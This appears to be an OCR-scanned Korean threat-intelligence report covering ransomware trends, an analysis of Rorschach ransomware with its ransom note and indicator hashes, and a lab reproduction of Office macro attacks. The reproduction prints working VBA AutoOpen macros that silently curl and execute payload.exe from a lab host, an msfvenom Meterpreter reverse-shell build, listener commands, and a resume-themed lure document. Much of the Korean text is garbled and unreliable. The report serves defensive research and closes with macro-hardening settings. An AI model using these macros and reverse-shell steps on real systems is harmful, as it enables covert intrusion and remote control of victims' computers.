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OF

* &4 v NIST, "2 EBAE ol7|elA", 20202
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Keep up with Ransomware
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LockBit ©] macOS WHE2 g HAA 15 FollAl macOSE B L= Sk 29 siqddlolt
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infosec

New ransomware variant

STOP : .nifr, .niwm, .nitz, kifr, .kiwm,
kiop .coty, .foza, .foty, fofd,
.saba
Medusalocker : skynetlock, .tangem,
attackuk, .attacksystem
Xorist : VoNiX, .CryptBits256PT2
CryptoJoker : .partially.plutocrypt

Dharma : .rea

Chaos : .devinn
Phobos : . BOOM, .sdk
VoidCrypt : Recov
CrossLock : .crik

New ransomware & group

A HsHarada, Akira, Cooper, Uniza, CrossLock, CryptNet, Dunghill
L
s
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()

~ O
ONED>
OINEED>
OINEED>
OEEED>
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L )

HHAAE macOS B2 HEFS SAlst = S 9e Holal it
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£ s

infosec

TR

42% 36%
32%
20%
Lkt 11% e
=2 o n
S g g 4 - 5 gl =

14%

>

EF2! 27}

18%

Clocicie SN c.-c.co: SRR -'or.io» N - N o

£ ys:02 ()FR:m2tx @priso

) CA: LI @ BR: BRKE G UK: 9=

SES:AWQ @ CL:EA @ CH:AA
= AT: 22E2(0}

920224 2 Yol A& wrAE9 2w RaaS(Ransomware as a Service) S A Za}1 o]% @ub Meke ARg-5lH Qakbot &

PrintNightmare 9} 2-& =18 Apgsle] AL Lol Aoz odajx ik
10 Qakbot : 997 Ao] EEo] BuhRAT) 753 HH EF 7% /M I

1 printNightmare : Windows ZE AZ] Au|20] Fokxg ohgste] 97 F& Ago] 7Hsgh &
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Rorschach(BabLock) #04¢]¢]

*ZA: REAFS HAE olu|X]

# Rorschach(BabLock) HAd9o17} SpAltt. AZHe Al7]& 2021 o xRt 25712 Lef]A]
A olff= FF APRIEES Yok @1 AR £E FYE a6t FES WA 7]
wolrh. =y, 7H wharkal

o}
=
Fo7t wagh ddgelz EREL it
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gt EF HAHLE= Yanluowang, DarkSide sHA{o1et HIgE = 2AJEo] Qo
Q) 7bo] = DarkSide ¢ ®lZEo g2 ¢0ls7|% 3t} olal EA uwjilo] AFgulth ti=27 Hol=
A AA] Rorschach AAFHE /4A1#A Rorschach i gol2 = qich.
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27 A% A AAge] HolRES 2YtY] 18] DLL Afol= 29" 7|4 Beet.
YA AT 22 ol WAL 2ABte] Wol AAUZS S3latct

B A 9te GuEE5el Curve255199F ~EF ofs &7eZEHel HC-128 L1aE2
A stoluels 4w AAS o Fest S5t whach HEof wele] gy o
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AA T
7Fsdt W%, Windows AAELE oz FASH: WFo| EJtE | ot fH9 &

A BE SIAME EHMOE St FAo|AE Zimbra Collaboration * 2] RCE * (Remote Code
Execution) FeFd2l CVE-2022-41352 & o] &3l %z7] HA A HSHS A ESH | )

' DLL Atol= 29 : ot]#ql DLL stele 4 mpado] oJ=shx) e Aeln RESte] 3477} oo AEg AFPsH wEt
7]

Boebd 4 g guelF 3 st /MeR, AT 4o HEN] dag 88 B BT S58 AT
d12E, durHog RSA gae|ER £r0) wE

HAEY 9F 9REF  gAy] 4Est /PHoR, 9uY A5HQ HolHE HE Wy vl Tele 455 3l Besk B8
45 INAFEHEAOR AR 27} whE

16 RCE :

A7) otelhel ZEs} AAHo] ALWE Aol 4 i Bt FoK
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infosec

Rorschach Ransomware

=)

Curve255192t SHA-5122 48/d 3t Keyt IVE 0|20l HC-128 Y2 EL 2 OtY U S S}

% HCl23QE3S} El
File Encrypted File
g2t 7/ e

32byte BE

7iolz] 84 _ _
Curve25519 (mecazs N
" Key
Key SHA-512
Hash

r

g2 | = ES ED ED K
Lrhulank] ¢ e 2_d_m et

2f5of gt4) | MU 7| 512byte O|4F: IHY QE 2 256hyte HZ, 4000byte S5}

2 x
TE 37| s12byte O3} : THY TH| =3}

Curve255198&
lic-128 of2tolg g AL | | HE U=t
i
£
HAEH UPX & DLL .
VMProtect I ZJ AtojlE 2l AMLrASE

N

Decryption ID:EDEF45BAZFE522ES

Allyour files have been encrypted due to a security problem with your PC.

‘We has BREACHED your security perimeter and DOWMNLOADED mare than 300 GB of your PRIVATE SENSITIVE Data.
If you want to restore them, write us to the e-mail zmc2t@tutanotz.com

Write your |D in the title of your message

In case of no answer in 24 hours write us to thess e-mails;zmc2t@onicnmail.org

You have to pay for decryption in Bitcoins. The price depends on how fast you write to us. After payment we will send you the decryption tool that will decrypt all
ErYAf your files.

Free decryption as guarantee
Before paying you can send us up to 1 file for free decryption. The total size of files must be less than 1Mb {non archived), and files should not contain valuable
information. (databases,backups, largs excel sheets, etc.)

How to obtain Bitcoins

The easiest way to buy bitcains is LocalBitcains site. You have to register, click 'Buy bitcoins', and select the seller by payment methad and price.
https:/ lacalbitcoins.com/buy_bitcains

Also you czn find other places to buy Bitcoins 2nd beginners guide here:

http:/fwww.coindesk com/information/how-can-i-buy-bitcains/

Attention!

Do not rename encrypted files.

Do not try to decrypt your data using third party software, it may cause permanent data loss.

Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become = victim of a scam.

L _r e_a_d_m_e.txt

HE 2
rhuknk00~ rhuknkos H2|2| T 3 2}
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Rorschach(BabLock) @A ¢e] #=k

infosec

Initial Access

° Cortex XDR Dump Service
Persistence 2 Tool2| #okH o8 U
F Zimbra Collaboration2| RCE #|2F
(CVE-2022-41352) 4&
o|lE 2% ‘ .
DLLAoI= 29 h Defense Evasion
R M HEHE B o}2to|E A
Execution = E B 27 A%
BEEEELE Y
HIO|E|E API S &
FES UEHo|A~
ET ol HE AT HY Discovery
ClA3 AH
USs N EFHE S A
nIY o3} H
SOl ohel AH

=

Rorschach 4 ol= F okt Cortex XDR Dump Service Tool B 7.3.0.16740 cy.exe T‘z:— L

Atol= 2o ofg5tgirt. olu AR&3 DLL 2 A2d UPX ¢ VMProtect 2 |7 E9lon oFA4
config WY& RESEY] sf=5h= | AMEET. ST config WY sty HojRE TS St
=, cy.exe & APA|Z[H winutils.dll o] Ato]E 2 E|o] o config THY-S sll=otal APA7]+=
TFE2 o]Foz] It tEo] Rorschach = ofef 3o} 22 ekt mfefn|gE 2| et
ntato| e 4%
--run=<Ql$> ez Rt 7| US ME
--nomutex=1 SEIA OISR AUS
--path=<3 2> Aget d= ot A3t
--log=1 210 o 44
-pt=<3=> A ool F=
cg=<Z2> ot 3lE HO|ZEO| HE
-we=<ZE> AO|E RS THsE DLLO| H&2
Rorschach &= HQF &£34& FJHstr] Qa4 StEZYgH WS E syscall” HH O] A= X ato]
o 2Z FeES TEUTE ES —run QAo §&SE 7] Fro] HMEEA] o Aot
P52 FE=E AR ¢

Ysyscall : £QGAAANA Agste 71%5-& T&sHe AHHOIA A2H F& 5535 $18) AHgshs P o]
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HAo= Curve25519 &18]E&3 HC-128 A18Z&L &835le] sSlolHE HRAQ)
283t} CryptGenRandom™® APl & o] €8] A 32byte ©] 7HQ17]9} SHA o] Yol
SM71E ArHgote] Curve25519 ¢igj&E -

5 S HASM ﬂﬂzoiﬂWEJW%h}mﬂg

i)

s HE7E der o I

&) diA19] ¢ 32byte = HC-128 <]
2 ARgolal, t2 32byte = IVP(Initialization Vector)2 AR HC-128 gig|Eoz mtdS
kelkel ) g ] ol ”er«] 717} 512byte olokl A%l WA HAE ASIPAZIH, 512byte
o/l ol o 256byte & ARt 4000byte o tHol U TIE ZFgr). oHet RS Fof

| 7P w2 et £ 52 Astd LockBit Bk oF 2 v A wEE ¢Fo3l 52 AU
a3t FEO 7, Babuk ;44/\401014 FEH A2AFEA 2R Aoer FZEHTL
It EEET Ud oo zbr] o2 #Yd 23R (rhuknk00~rhuknk99)7} F7te 3
do3teE tHgenitt HALEZE B EH

il
=
[¢}

H
gl

do2}t o] FxE Y o[HlE 27 ¥ Volume Shadow Copy” AtAIE A|Lsh=t]| AZALS]
A2 Q18] Volume Shadow Copy & A EA] b=

18 CryptGenRandom : Windows A|AElO)A] AFsl= g4, sty o

o
hu
rO
2
<t
=
4
i
2
X
_?L
fr
8
sL

9V sl 27135 WMER AGHE o9 g, 2L 1S AT FETo] upl A YYHEE B I

20 Volume Shadow Copy @ A|AES w1l T 9] A|Hog Hsl gre A d &
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Indicator Of Compromise

infosec

Rorschach : SHA256

83052CC23C45ECAAQIFESCE7FDB50CTFEE7T08AEA46756A2B9D452D40CE3BICO0
AA4BACAEFE2ATBFB3192F8A7DEES229764618ACTADT1BD1B5F6D19A78864EB31F
4874D336C5C7C2F558CFD5954655CACFCB5BCFCB512A45FBOFF461CE9C38B86D
B711579E33B0ODF2143C7CB61246233C7FIB4D53DB6A048427A58C0295D8DAF1C
B99D114B267FFD068C3289199B6DFI5AIFIEE4872D6C2B666D63974BBCE7SBF2

88081A21E500E831D86666CASDTA3D348F7C0O3BC5C471B6D17D8B18A022F25BE
38C610102129BE21D8DI9ACI2F3369C6650767EDS13E5744COCDAS4EGEB33812

DE5A53131225DD97040D48221D9AFD98760F7FF2F55613F0D08436891CAG32B9

E14B88795BDE45CF736C8363C71AT7171AAT10A4ETFA9CES8470082CB1BDADBB
66BCADO829A59C424D062B949C2A556B11C509B17515DFFECBICBF65F13F3DCE

File Name

winutils.dll : DLL used for side loading
cy.exe, cydump.exe, Shortcut.exe : Vulnerable version of normal executable
config.ini : Packed malicious payload
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o

URL: https://www.bleepingcomputer.com/news/security/microsoft—clop—and-lockbit-ransomware—

behind-papercut—server—hacks/

URL: https://www.bleepingcomputer.com/news/security/microsoft—sql-servers—hacked—to—deploy—

trigona—ransomware/

URL: https://www.bleepingcomputer.com/news/security/lockbit-ransomware—encryptors—found-

targeting—mac—devices/
URL: https://thehackernews.com/2023/04/vice—society —ransomware—using—stealthy.html

URL: https://www.bleepingcomputer.com/news/security/vice—society—ransomware—uses—new—powershell—

data—theft—tool-in—attacks/

URL: https://www.bleepingcomputer.com/news/security/windows—zero—day—vulnerability—exploited—in—

ransomware—attacks/

URL: https://www.bleepingcomputer.com/news/security/alphv-ransomware—exploits—veritas—backup—

exec—bugs—for—initial-access/

URL: https://www.bleepingcomputer.com/news/security/new—rorschach—-ransomware—is—the—fastest—

encryptor—seen—so—far/

URL: https://www.bleepingcomputer.com/news/security/linux—version—of-rtm—locker-ransomware—

targets—vmware—esxi—servers/
URL: https://thehackernews.com/2023/04/rtm—locker—emerging—cybercrime—group.html

URL: https://www.malwarebytes.com/blog/news/2023/04/lockbit—ransomware—on—-mac—should—we-

WOITY

URL: https://www.quorumcyber.com/threat—intelligence/windows—zero—day—exploited—by—nokoyawa-

ransomware/
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Research & Technique

Microsoft Excel RCE FPH(CVE-2023-23399), Microsoft
Word RCE F2H(CVE-2023-28311)

2023 44, Microsoft Office &) A2 T2 138 Excel(CVE-2023-23399)7 Word(CVE-2023-
28314 A4 FE A Fokdel TARh i HHE 4R Er xFHE Word, Excel
ulo] wimz Aoz Qlef HAgsttt. FAZ: oHdol YA A YA, ZEELL Fo= ATt
Hde WSy AT HE mde do] wja=2RE F8ShH VBA 2 (Visual Basic for
Applications) a2 FErt AdYElo] oy mz2Tsfo] HX 1 AYHct FAAE olE T
Hafizte] PCE ¥4o= Hosty 25 4 St

A m, HEYA omd FABEC?) O A48 dAYH AL o7 =et ¥

AHgste] HlRt 9AEE AR gl AlauYA IRk &RAARte

Solqtt. SR, FHZ Al o THor HAE 4o AF WHIPH Aol THsSiAHEA

17374}50 et FEiel =okd ofyd s A A 4 A Few, olF "HAshE 2
A oA gk AARE 9ol ARE 34} ‘TAEH ] AMDARKTRACE) = AWt 4

ChatGPT oF g2 Y AP E o8 &8 dAXYY FH0 23 1~2 4 FYL 135%

7t YEEES THEsV|: ok

21 Visual Basic for Applications(VBA)#F Microsoft Office A& oA ARgst= 2wy oz, mjaz T A2 Ao g5
ZFAetal APe 4 glod glolg Az, BA A, 58 2Oy A5 28 5 oA 75E Alod & Qo

22 Business Email Compromise(BECQ)& ZAZ7t Azt w]d-e AMgste] Arfufo] =& BUAL 3|4 7| We R EE SLsh=
Atols] Wz o] dFolrt, 2 AT & Q= AER fIFste] dolguy F4-& a9t

B gy AR ATABYE I8k H2E NS AT 4R PYlE B HEAD Ang 22 olsfern T2
Holelg gkl gAE, ojulx), erje, MHe § A2e AH2E PSR AL Julat,
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Generative Al:
Impact on Email Cyber-Attacks

/r ’
INnCrease in Nowe global e of global employees notice

engineerin about att: increase in scam emails and
January to February 2023 O Cre texts in the last 6 months

a9 1.2023 4 o LS F7F Aol 4 ¥

g, ChatGPT ¢ 2 AAYP Al & VBA tjZ22Z AAFT, o]E 0|83t Excel, Word ¢%
A3t Aol wopde] wet VBA wjA =R of§Ho| FUSAl Qe dgoltt. ol o|&ds
AtolH FA Al F A A HLEIEA, YA AEA R YT HETY AgE
Lok LockBit 2.0, VBScript EFHE 83 Gammaload ¢ JQEZAEH:E T HAHPIEL
A& BAE T Qlo] s FeFHof digt ZHEst o7t " st

office productivity > Microsoft > Excel VBA

Macros and VBA Learn Fast with ChatGPT

Save years of study and learn VBA and process automation with the current and
fastest growing revolutionary method

m 5.0 % % % % % (6 ratings) 1,017 students
Constmcioi iy ChatGPT Megacourse: Master Excel

business > electronic commerce > ChatGPT

Do = Automation and Al Tools

Boost your efficiency and Excel skills with this guide to Excel Automation

[T AT e et 4.3 + ¥ % % ¥r (4 ratings) 2,056 students

Creator

# Lastupdated:2023.4. @ english ® English [Auto]

a3 2. 289 78 ZRE(udemy)?] SEH AP Al S L3 53 729 oA

24 https://ko.darktrace.com/resources/generative—ai-impact-on-email-cyber—attacks
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B Eaus AmEY o]

ofgfe] TE Excel(CVE-2023-23399) FoFd x5 ALt wjHo=g, ol & o] HH2 B
CVE-2023-23399 of gk ¥rg 4= Qi

S/W & B
Current Channel: Version 2302 (Build 16130.20306)
Monthly Enterprise Channel: Version 2301 (Build 16026.20238)
Monthly Enterprise Channel: Version 2212 (Build 15928.20298)
Semi-Annual Enterprise Channel (Preview): Version 2301 (Build 16130.20306)
Semi-Annual Enterprise Channel: Version 2208 (Build 15601.20578)
Microsoft M& Semi-Annual Enterprise Channel: Version 2202 (Build 14931.20944)
Office 2021 Retail: Version 2301 (Build 16130.20306)
Office 2019 Retail: Version 2302 (Build 16130.20306)
Office 2016 Retail: Version 2302 (Build 16130.20306)
Office LTSC 2021 Volume Licensed: Version 2108 (Build 14332.20481)
Office 2019 Volume Licensed: Version 1808 (Build 10396.20023)
X Android, iOS, Mac, & & Outlook(OWA) 3! CtE Microsoft 365 AlH|A= Fek2 BEX| =Lt

ol o] Ei= Word(CVE-2023-28311)2] #oFd wjx]& g3t WAoo ol & oA AL
I CVE-2023-28311 9] 98ke ¥re 4= 9lt}

S/W 7& B
Current Channel: Version 2303 (Build 16227.20280)
Monthly Enterprise Channel: Version 2302 (Build 16130.20394)
Monthly Enterprise Channel: Version 2301 (Build 16026.20274)
Semi-Annual Enterprise Channel (Preview): Version 2302 (Build 16130.20394)
Semi-Annual Enterprise Channel: Version 2208 (Build 15601.20626)
Microsoft M= Semi-Annual Enterprise Channel: Version 2202 (Build 14931.20964)
Office 2021 Retail: Version 2303 (Build 16227.20280)
Office 2019 Retail: Version 2303 (Build 16227.20280)
Office 2016 Retail: Version 2303 (Build 16227.20280)
Office LTSC 2021 Volume Licensed: Version 2108 (Build 14332.20493)
Office 2019 Volume Licensed: Version 1808 (Build 10397.20021)
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infosec

2)
o B NY
UEELE

[
>

2% Mol o+ Ty
CH2=c U Ay
>

SAxL ——
reverse shell& % Hoj3 &= .'
a9 3. 34 AuEle

@ SARE FHAYHS A0} Zdst ot EME(ex O|FA, 22, £ So= 7)) TRt H HS
@ HiAte siE oY 2ME WD = AR 58

@ H8IAtC] PCOIM DIAZ 7|50 SEIS| 2K MH{O| oM FEZ CHRZE G Al

@ 3AX%= ¥4 gy Hd2 S WixtE ¥

o|& He
Windows 10 Version 22H2 (OS Build 19045.2846)
1| i X} MSO 365 Office Build

(15.0.4517.1504 32-bit)
Windows 10 Version 22H2 (OS Build 19045.2006)
kali-linux-2023 (6.1.0-kali5-amd64)
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[ $I |=-| -"AE ol MO

Step 1. CVE-2023-23399 <4 HAE
Step 1) Excel +A1E& 4] Sheet 2 7/H& A3 ¥, View —) Macros —» View Macros

iy
fuly
a
k)

Bookl - Bxcel Sign in Eal

Home Insert Page Layout Farmulas Data Rwie@ Help Q Tell me {Q'_ Share

= = :
[£] Page Layout 5 Q [E:' = MewWindow EE
ol = Arrange All o )
Normal Page Break {5 Custom Views Show  Zoom 100% Zoomto Switch =
Preview M Selection B Freeze Panes ~ Windows ~ |
Woarkbook Views Zoaom Window e
Al - fe . .lj Record Macro...
Use Relative References
A B [ C . D . E [ F . G . H [ | . il 1 ~ 1
1 |

Step 2) BiAR @ olES T F, A HELS 2.

Workbook Views Macro ? = Macros .
Al - Macro name;
RCEI *+ Run

A 1 E 1 1 J 1 K 1 -
1 Step Into
2 Edit
2
3
3 | Delete
6
T_ Options...
8_
q Macros in: | Book2 ~
10_ Description
11_
12_
13_ Cancel
14 -

| Sheet1 | Sheets | (3 4 3

adg 5. vjaz g4
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Step 3) Sheetl olli= RCE #9F4, Sheet2 o= ¢4 URL & A45t= PoC Z =5 AU

Project - VBAProject EI @8 - Sheet! (Code)
E . E I(General}
8- :ﬁ N ]{Bmlr).} cig Private Sub Worksheest SelectionChange (ByVal Target As Range)
E' If Hot Intersect(Target, Range ("Al"™)) Is Nothing Then
: RCE
= End If
- :i ThisWorkbook fod on
E1-E5 Modules =
we2 Module1 Sub RCE ()
Dim Program As String
Dim TaskID As Double
On Error Resume Next
Program = "calc.exe"
TaskID = Shell (Program, 1)
If Err <> 0 Then
MsgBox "Can't start " & Program
End If
Properties - Sheet1 | End Sub

a9 6. 28 £2A IE= RCE A4¢Y

Private Sub WorkSHeet_SelectionChange(ByVal Target As Range)

-> O] g= A1 20| 28 2 A, W & Hst= =0tk

= — O
Sub RCE
-> Dim 2 S8}l Program H0f| calcexe 2XEAHL7))S &I, shell 45 *f%ﬁcﬂ
Malisich o, SRR QXY iY== vbNormalFocus ZtS 1 2 HNsI0] ZZMAE
old

At o2 NYSES AL,

Project - VBAProject EI IIG-eneral}
B Private Sub Worksheet SelectionChange (ByVal Target As Range)
E:ﬁ VBAProject (Book2.xls) If TaIu::;et.CDlurm = 1 Then
B4 Microsoft Excel Objects drivebydownload
] Sheet1 (Sheet1) End If
End Sub

2] Sheet2 (Sheet?]
% | This\Workbook

Sulr drivebydownload()
Createlbject ("Shell.Application™) .ShellExecute _

"microsoft-edge:https://www.skshieldus.com"
End Sub

a9 7. )32 44 FE QE URL AL

Private Sub Worksheet_SelectionChange(ByVal Target As Range)

-> O] g A Y0 EXste 0| 28 2 42 RS &8 H#st= &0|Ct
Q|8 URL &

Sub drivebydownload
-> ShellApplication Z{K|E MMst F|, ShellExecute HIAMEES S Edge E22t2XE
Mastn, https://www.skshieldus.com/ # AIO|EE O T EO|CEH

(az 7 M)
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o]& oJAlo]A] Sheetl 2 Al ]
Sheet2 o] A dof EAjcl= AL
}.

A2

Waorkbook Views

1. A7 o

ile me Inser
D r [7) Page .

Narmal Page Break 1] Custol
Preview

f Calculator

o

= Standard

gn Normal Page Break 5] Cystom Views SN Z00
Preview E

x |

D | ™ SKshieldus

Home Insert F

L_wj r [51 Page Layout G O

Page L t
age Layout G 6] I https://www.skshieldus.com/eng/index.do I

‘Workbook Views
" |°W b A ‘ B © ’ D/ .
o [ualt Life Care Platform
. 3 .
. P in Every Corner of
. a 2. 43 URL TS .
. Our Lives
- 9
1o}
i :; Security, Safety & Care services
=| 12 for People, Things, Places and Information

| shett | sheez [ @ in both real and virtual worlds

19 8. PoC 52 Axt 19
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Step 2) CVE-2023-28311 F<Fd HAE

Step 1. CVE-2023-28311 H{°oFd E3F VBA & &80t mja2E S F PoC HAE IZTE
AP S
0 d s resumetct.doc - Word T EH - O X
HOME INSERT DESIGN PAGE LAYOUT REFEREMCES MAILINGS RE‘urlElo.: VIEW Sign in
| ..| D [=] Outline Ruler Q [B_‘) EH B New Window EE DJ:I'
- & = Draft Gridlines El g [ Arrange Al )
Read = Print  Web o Zoom 100% ] Switch == {Macros
Mode Layout Layout Mavigation Pane G [ split Windows = =
Views Show Zoom Window a Bl View Macros
®3 Record Macro...

1% 9. word "l 2 AA 19

1 File Edit View Insert Format Debug Run Tools Add-Ins  Window Help
HE-Ed P ) pon @I SEFE 2@ 7o :
Project - Project EI | (General)
E = Sub Autolpen()
&% Normal Call Shell ("cmd.exe /5 /c" & "curl -s http://192.168.100.152 /egst.txt > " _
E| @ Project (Resumebxt) &£ Environ ("TEMP") & "\egst.txt &£ notepad.exe " & Environ ("TEME™) _
@Mlaoso&w::rdob]ects & "\egst.txt"™, vbHidden)
-8 ThisDocument| =od _Sub

a9 10. i3 2 A<¢ Drive By Download &2 I &

Sub AutoOpen
-> Shell g8 A%t HH ZEZTEONAM curl 2 O|E8HAM 192.168.100.152 A{H{ Q|
egsttxt & CH2R=Ct O, € Al 34 MES &717] ?l8l -s SM84S 0|&83510] of

o
Z£82 &7ICh O|F, notepad.exe & 0| &

AutoOpen

ag 9 d3)

il TEMP 20| MEE egstixt HES ZHSICL
ol vbHidden M & S3lf Shell 47 ML= cmd S &71Ct

w2 o] AsEm theure txt 1Yol notepad.exe & Sof Gtk

B H S O -
HOME IMSERT DESIGM PAGE LAYOUT REFEREMCES MAILINGS REVIEW VIEW Sign in
L Calibri (Body) 11 -] =i = %
D B I U -abex. x* P = AaBbCcDe AaBbCeDe AaBbCh -
Paste S A-W-A-Aa- A A D TMormal =~ TMNo Spac.. Heading 1 Editing
Clipboard & Font [F] Paragraph F} Styles ] e

& eqst.tet - Notepad — O >
File Edit Format View Help
EQST Insight

100%  Unix (LF) UTF-8

3% 11. PoC B2 A3}
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B U4 A4E AL

/home/kali
windows/x64/meterpreter/reverse_tcp -f exe payload.exe LHO

ST=192.168.100.152 LPORT=4444

[-] No platform was selected, choosing Msf::Module::Platform::Windows from th
e payload

[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 510 bytes

Final size of exe file: 7168 bytes

Saved as: payload.exe

19 12. msfvenom?®& &-8ste] ot £2AFE AF}

$ msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o payload.exe LHOST= 192.168.100.152
LPORT=4444

-0 0|5 X|E &
- LHOST: Shell o
- LPORT: Shell Of

42 source IP T2

A port O Fa

e re ™=
N
_(21

SIS HHOl= TmSAH7F 192.168.100.152 IP 2| 4444 ZEZ AUZAGL= CH3HE reverse shell &

payload.exe 2= O|E22 4daiCt

% Metasploit o] @ A% HlAE melg) YAz, P HoPET AL AET 4 G 0F 42 EFolut,

fr

2 meterpreter % T AHEE Aok FES APT & e

shtolct.

fu)
ol
ofl
1
fllo
of
)
)
2
2
Y
of
_O'L
rr
Z
(2]

ISy

]

.
of:

)
=
o
!
In
ofy

27 reverse shell |3t e A2 ojmjsi, WAt BAR Hoz 4
AdL §A8k= 714 F shtolet.

fllo

Adst7] gol majat Zojla] gatHo] A-gxjof etz

t ETFEA, exe A mYol| MY E (exploit) ZEE FHT 5 A Pt

30

2 Metasploit oA AlFsl= Holzcs P4 4
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Step 2) &ZAZA= msfconsole ¥ & &

71t

msf6 > use exploit/multi/handler
Using configured payload generic/shell reverse tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set LHOST 192.168.100.152
LHOST = 192.168.100.152

msf6 exploit( ) > set LPORT 4444
LPORT = 4444
msf6 exploit( ) > exploit

Handler failed to bind to 192.168.100.152:4444:- -
Started reverse TCP handler on 0.0.0.0:4444

19 13. reverse shell A3

# use exploit/multi/handler

# set payload windows/x64/meterpreter/reverse_tcp
# set LHOST 192.168.100.152

# set LPORT 4444

# exploit

Step 3) &AA= mafiRtoAl APAMER e A Yt mds AEI = oo ZgH
VBA &&= o233t 2t}

<t - Project X| [ [tgenera -] [Autoopen

g o Sub RAutolpen ()

ﬁl‘k}rmal Call Shell ("cmd.exe /5 fc" & "curl -s http://192.168.100.152/payload.exe > " _
ﬁPmiect(Resime} % E.'w:l:.rnnt"TEHP"J & "\payload.exe && sFért /B "

B@ Micresaft Word Objects & Environ ("TEME") & "\pavload.exe"™, wvbHidden)

._,—E. End Sub

-] Modules

¥ 14. VBA FE=

Sub AutoOpen()

Call Shell("cmd.exe /S /c" & "curl -s http://192.168.100.152/payload.exe > " &
Environ("TEMP") & "Wpayload.exe &8& start /B " & Environ("TEMP") & "#payload.exe",
vbHidden)

Sub AutoOpen
-> Shell g& AESI0] BE ZEZEONAM curl & O[83iA 192.168.100.152 MEH 2|

payload.exe & CH220} H&SHCL

AutoOpen
(3 13)

2~ 0
"[_N]\

il
fr

2 meterpreter @ A} FAREE SMelT FEE AP sty g FAA A AFSHs Metasploit 54 HO|RZE F

shfolct,
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Step 4) Ha27t FAAFZEEH
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s
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A
e
o
e
o
ol
rd,
=2
1
il
>
o
o,
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olo
i
e

| am excited to subm)| resume .doc (Protected View) - Word bn security and a strong

vulnerability assessm) gn  Layout  References  Mailings  Review  View  Help Q  Tell me what you want to do

iles from the Internet can contain viruses. Unless vou need to edit, it's safer to stay in Protected View.

In my current role as mitigation techniques.
measures to protect

addition, | am skilled 1 SECURITY WARNING Macros have been disabled.

O3z 58

Blyzing network traffic,

| am excited about th
to clients aligns with

hnology and providing

[Your Name]

Thank you for consid| 123 Main Street bn and your company.
Sincerely, City, State, Zip Code
Phone: (123) 456-7890
iohn Smith Email: yourname@gmail.com
19.09 KB 1 file gffached

) resume .doc 19.0¢

a9 15 WY 54 2 W2z 54

Step 5) ©]F, H&z+e] PC oA reverse shell(payload.exe)o] AP, FTA2AE= Hdz PC 2
Aol 850] 71ssltt

File Actions Edit View Help Ay LE ssion Us

Build

indows

1% 16. meterpreter & %

L
>
[>
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o
H
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CVE-2023-23399 ¢} CVE-2023-28311 FHeFdo) of
s ojm|olt =5
Agatd A 7]

g2 Fe

ojstil, X7 B
s Zo] ZFQqsith T3 WAL

$317]
A g
i

o o

ZzIHe FHA MHog g5k A A ZFQ8}

CERER
27 9| Hux
P9 AT % 9l

SR EERRDE
e AW P
4]

Windows Security

Home

Virus & threat protection

Account protection

Firewall & network protection

App & browser control

Scan options

Run a quick, full, custom, or Microsoft Defender

Offline scan.

Mo current threats.

Last scan: 4/30/2023 6:43 AM (custom scan)

0 threats found.
Scan lasted 1 seconds
1 files scanned.

Allowed threats

1% 17. Microsoft Defender Scan 23} ¢t AA FE

a4 ¢

o
1o
.

Q)th. Microsoft o|Al= VBA &

npzjeto 2 A HA el MS Office & Q|olE ‘3—
[ =AY ARoA taz A=

of-get b F=ot SUketel wef, ofjel o
wAIH S W2 E HjEHYt

Sign in Eal

egst_resume (2).doc - Word

Insert Design Layout References Mailings Review View Help Q Tell me

- |Calibri (Bedy) - o
D B I U ~ abe x. X° | % AaBbCcDe | AaBbCcDe AaBhC( N
Paste < | A - ay_w A-Aa- | A A TMormal | TMo Spac.. Heading 1 il
Clieboard ] Font I Paragraph [ E-grles ]
g SECURITY RISK Microsoft has blocked macros from running because the source of this file is untrusted. Learn More

a9 18. AFETE & 9 EHAQ vjar AFEEA] Tz AR

SHAEE AbgAbe] Aol wet MfARE W8] WYY 4 9o
% ofefo] g=e WA Aol Fasitt

%, Options 2] Trust Center I

1. Trusted Locations - M2 = Y& Z22| IS X
2. Trusted Documents - MEE = A= A L X|H
3. Macro Setting - 0f32 23 4™ X|H
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Trust Center

? bus

Trusted Publishers

I Trusted Locations I

Trusted Documents

Trusted App Catalogs
Add-ins

ActiveX Settings
Macro Settings
Protected View

Message Bar

Trusted Locations

Warning: All these locations are treated as trusted sources for opening files. If you change or add a lecation, make
sure that the new location is secure.

Path Description Date Modified

User Locations

Ch..AppData\Roaming\Microsoft\Templates\  Word 2013 default location: User Ternplates
i\, Files (x86)\Microsoft Office\ Templatesh Word 2013 default location: Application Tem...
C\...pData\Reaming\Microsoft\Word\Startupt,.  Word 2013 default location: StartUp

Policy Locations  Deafault 9_'0‘” EF.J'I-:E‘!EE 'c','.l.g.'élj- 7"_-:‘!% i!.(ﬂ

a7 19. A=stE Bz 4% nd

AT 4 ol BA AL AT RA eyl 95 249 tARE Aeki.

Trust Center

Trusted Publishers
Trusted Locations
Trusted Documents
Trusted App Catalogs
Add-ins

ActiveX Settings

Macro Settings

- L

Trusted Documents

Warning: Trusted Documents open without any security prompts for macros, ActiveX controls and other types of
active content in the document. For a Trusted Document, you will not be prompted the next time you open the
document, even if new active content was added to the document or changes were made to existing active content.
Therefore, you should only trust documents if you trust the source.

Allow documents on a network to be trusted
[ Disable Trusted Documents]*{‘_l El E;" 4"‘- EJE -E—)k‘l }«.I"g' SH I‘“

Clear all Trusted Documents so that they are no longer trusted

a9 20. AHY =+ e =4 243 =

Ao, AR F4 s1§ gHMol AAEe] UiA HStL VBA & B 9% A
AET 4 QS QA

Trust Center ? *

Trusted Publishers
Macro Settings
Trusted Locations

(C) Disable all macros without notification
Trusted Docurmnents . . o
(® Disable all macros with notification

Trusted App Catalogs () Disable all macros except digitally signed macros

Add-ins [O Enable all macros (not recommended; potentially dangercus code can run]]

ActiveX Settings -
Actives setting Developer Macro Settings

Macro Settings -
[] Trust access to the VBA project object model -I|=- ?|-I| ‘A‘E'"(::'!Ol $“I'I|E ﬂfﬂ %!‘C'I_I

Protected View

Message Bar

a9 21, vjas 43 &
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« URL?: https://github.com/nullsecurlty/CVE-mitre/blob/main/2023/CVE-2023-28311/docs/report.txt

« URL: https://github.com/nullsecurlty/ CVE—mitre/tree/main/2023/CVE-2023-23399

« URL: https://www.bankinfosecurity.com/russian—hackers—focused—on—espionage—system—destruction—
a—21091

« URL?: https://ko.darktrace.com/resources/generative—ai—impact—on—email-cyber—attacks

« URL: https://blog.checkpoint.com/2023/03/15/check—point—research—conducts—initial —security -

